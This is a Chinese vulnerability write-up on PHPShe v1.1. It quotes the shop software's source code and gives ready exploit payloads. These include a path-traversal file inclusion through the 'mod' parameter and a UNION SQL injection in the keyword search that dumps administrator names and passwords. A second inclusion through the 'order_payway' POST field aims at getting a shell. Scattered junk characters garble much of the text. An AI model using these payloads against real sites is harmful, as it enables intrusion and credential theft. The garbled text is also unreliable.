phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
: L3 d- W5 l7 n0 K$ m/ _7 _/* By: : Kn1f3
( e: Y' V- X; Y1 G' m6 H/* E-Mail : 681796@qq.com
/*******************************************************/
" K. g# n4 k7 z4 u* C- ?/ f  W0×00 整体大概参数传输
% D) c! Z4 b4 z' A. d
" \' K( k" v5 R

2 O  }5 y: q, C6 {//common.php
5 R6 c- n. }! c- Oif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
, N: V/ i( {; ?!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
% I3 j8 ~8 E  T( S7 v% f! r* W' q}
# ~" D/ y. ^$ W' |- k3 `$ s' ^session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

6 ?8 @- _% P( z" q0×01 包含漏洞


- ]8 j( c0 q8 A0 X/ d//首页文件
: O4 b' {3 |. o  L, d! P( V8 l2 ]0 D<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
5 p, p3 w- j( c9 g4 R//common 文件 第15行开始
1 X' ]- h; z( n! ~* r4 y2 ~2 qurl路由配置
1 D( C: _) i8 |/ I$module = $mod = $act = 'index';
) V; ], ]' ]# O: b5 |$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
9 Y3 J1 B+ P; Q. E+ N

# x9 B" \0 R6 s
1 R! l5 d: s$ j: |6 u 0×02 搜索注入
: [) L( R: L  x1 |" P: f' e
<code id="code2">

//product.php文件
3 o/ E5 `! Z7 tcase 'list':
. x  g# ]# I: M" |# Z4 h$category_id = intval($id);
8 {+ g; v# D* ~$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
- A, o0 d: r. L6 U8 m' t) {if ($category_id) {
1 g5 N" q; y. I# j% n3 J1 h8 w# wwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
. V4 S% _7 z) C/ ?! w  n' A}
5 b3 ^1 n) `# a2 n: a' r) n4 R1 U. j$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
* e8 f% Y" I. Cif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
3 h$ X  e3 q) \: N  ]public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 K' o! ?' Z, {' L3 v{
//处理条件语句
# I7 F* m6 h& d$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
7 }4 x. v" z9 O3 h. [//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0 E- ^# z( |! n0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

0 x+ N1 S5 Q0 I9 n6 n$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

: E6 u" ~% |# N5 s& Hforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

5 n. u, K& z) \/ Cif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ L2 w% S7 U; B" u  U8 U}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

5 G9 b" Z5 v6 m3 C- cif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

3 A7 `9 u3 c6 e  ]$ M$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! w- x0 n4 g1 G6 D' p6 `foreach ($info_list as $v) {

' c4 r5 e6 G3 Q) h! S$order['order_name'] .= "{$v['product_name']};";
! S0 b% E: f0 S

}

7 ^) r) U2 d+ t7 ]& K9 F; ?echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

& T) }# d5 R& Z" u# Vpe_error('支付错误...');

}

  j7 o% [, }1 C/ J3 r0 s  ^}

, ^9 T$ p' C! j5 o- n$seo = pe_seo('选择支付方式');

' c6 _9 I$ G2 i+ _5 Uinclude(pe_tpl('order_pay.html'));

$ F0 w6 |" u. N+ X& Kbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>